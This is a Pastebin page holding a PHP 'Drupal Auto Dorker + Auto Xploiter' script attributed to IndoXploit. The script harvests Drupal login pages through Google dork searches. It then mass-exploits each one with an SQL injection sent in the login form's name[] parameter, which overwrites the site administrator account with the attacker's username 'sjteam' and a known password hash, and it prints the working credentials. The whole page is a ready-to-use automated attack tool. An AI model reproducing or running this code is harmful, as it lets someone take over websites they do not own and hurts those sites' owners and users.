7ourney

Drupal Auto Dorker + Auto Xploiter

Oct 8th, 2016
553
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.84 KB | None | 0 0
  1. <?php
  2. /* Tools ini Dibuat oleh Mr. Error 404 | IndoXploit - Sanjungan Jiwa
  3. Segala bentuk copy paste harap tidak mengubah copyright asli - hak cipta 2015 IndoXploit - Sanjungan Jiwa
  4. Hargailah karya sang pencipta ^_^
  5. Salam hangat IndoXploit Coders Team
  6. Karya Asli anak Bangsa !!!
  7. */
  8.         set_time_limit(0);
  9.         ini_set('memory_limit', '64M');
  10.         header('Content-Type: text/html; charset=UTF-8');
  11.        
  12.         function letItBy() {
  13.                 ob_flush();
  14.                 flush();
  15.         }
  16.         function google_that($query, $page=1){
  17.                 $resultPerPage=8;
  18.                 $start = $page*$resultPerPage;
  19.                 $url = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&key=AIzaSyDYG1FME1N7meBZLcywY7VojMHmtUAUIzY&hl=iw&rsz={$resultPerPage}&start={$start}&q=" . urlencode($query);
  20.                 $resultFromGoogle = json_decode( http_get($url, true) ,true);
  21.                 if(isset($resultFromGoogle['responseStatus'])) {
  22.                         if($resultFromGoogle['responseStatus'] != '200') return false;
  23.                         if(sizeof($resultFromGoogle['responseData']['results']) == 0) return false;
  24.                         else return $resultFromGoogle['responseData']['results'];
  25.                 } else
  26.                         die('The function <b>' . __FUNCTION__ . '</b> Kill me :( <br>' . $url );
  27.  
  28.         }
  29.         function http_get($url, $safemode = false){
  30.                 if($safemode === true) sleep(1);
  31.                 $im = curl_init($url);
  32.                 curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
  33.                 curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
  34.                 curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
  35.                 curl_setopt($im, CURLOPT_HEADER, 0);
  36.                 return curl_exec($im);
  37.                 curl_close();
  38.         }
  39.         function check_injection($url){
  40.                 return http_get(str_replace(array("/user/login","?q=node&destination=node","/user/","/login/","/drupal/"), "", $url));
  41.         }
  42. ?>
  43. <!DOCTYPE html>
  44. <style type="text/css">
  45. a {
  46.         text-decoration: none;
  47.         color: lime;
  48. }
  49. html {
  50.         background: #000000;
  51.         color: #008000;
  52. }
  53. </style>
  54. <form method="post">
  55.                         Dork:
  56.                         <input style="border: 1px dashed #008000; background: transparent; color: #bb0000; padding-left: 5px;" type="text" id="dork" name="dork" value="inurl:/user/login" />
  57.                         <input style="border: 1px dashed #008000; background: transparent; color: #bb0000;" type="submit" value="Start" id="button"/>
  58.                 </form>
  59.                 <?php
  60.                         if(isset($_POST['dork']{0})){
  61.                                 echo "<hr width='50%' color='#008000'>";
  62.                                 letItBy();                    
  63.                                 for($googlePage = 1; $googlePage <= 10; $googlePage++){
  64.                                         $googleResult = google_that($_POST['dork'], $googlePage);
  65.                                         if(!$googleResult){
  66.                                                 echo 'google dont have more result, so I done..(?)';
  67.                                                 break;
  68.                                         }
  69.                                         for($victim = 0; $victim < sizeof($googleResult); $victim++) {
  70.                                                 if(check_injection($googleResult[$victim]['unescapedUrl'])){
  71.                                                 echo "<div style='margin: 5px auto; padding-left: 7px;'>";
  72.                                                 $sites = "http://".$googleResult[$victim]['visibleUrl']."";
  73.                                                 $log = "/user/login";
  74.                                                 $post_data = "name[0;update users set name %3D 'sjteam' , pass %3D '" . urlencode('$S$DrV4X74wt6bT3BhJa4X0.XO5bHXl/QBnFkdDkYSHj3cE1Z5clGwu') . "' where uid %3D '1';#]=FcUk&name[]=Crap&pass=test&form_build_id=&form_id=user_login&op=Log+in";
  75.                                         $params = array(
  76.                                                 'http' => array(
  77.                                                 'method' => 'POST',
  78.                                                 'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
  79.                                                 'content' => $post_data
  80.                                                 ));
  81.                                         $ctx = stream_context_create($params);
  82.                                         $data = @file_get_contents($sites . '/user/login/', null, $ctx);
  83.                                         if((stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) || (stristr($data, 'FcUk Crap') && $data)) {
  84.                                             echo "Scanning: <font color=lime>$sites</font><br>";
  85.                                             echo "Status: Successfully Xploited!<br>";
  86.                                             echo "Data=> user: <font color='#ff3'>sjteam</font> | pass: <font color='#ff3'>admin</font><br>";
  87.                                             echo "Login: <a href='$sites$log' target='_blank' style='text-decoration: none'>$sites$log</a><br><br>";
  88.                                         } else {
  89.                                                 echo "Scanning: <font color=lime>$sites</font><br>";
  90.                                                 echo "Status: <font color=red>Not Xploited!</font><br><br>";
  91.                                                 }
  92.                                         }       echo "</div>";
  93.                                                 letItBy();
  94.                                         }
  95.                                 }
  96.                         }
  97.         ?>
  98.                 </div>
  99.         </body>
  100. </html>
Advertisement
Add Comment
Please, Sign In to add comment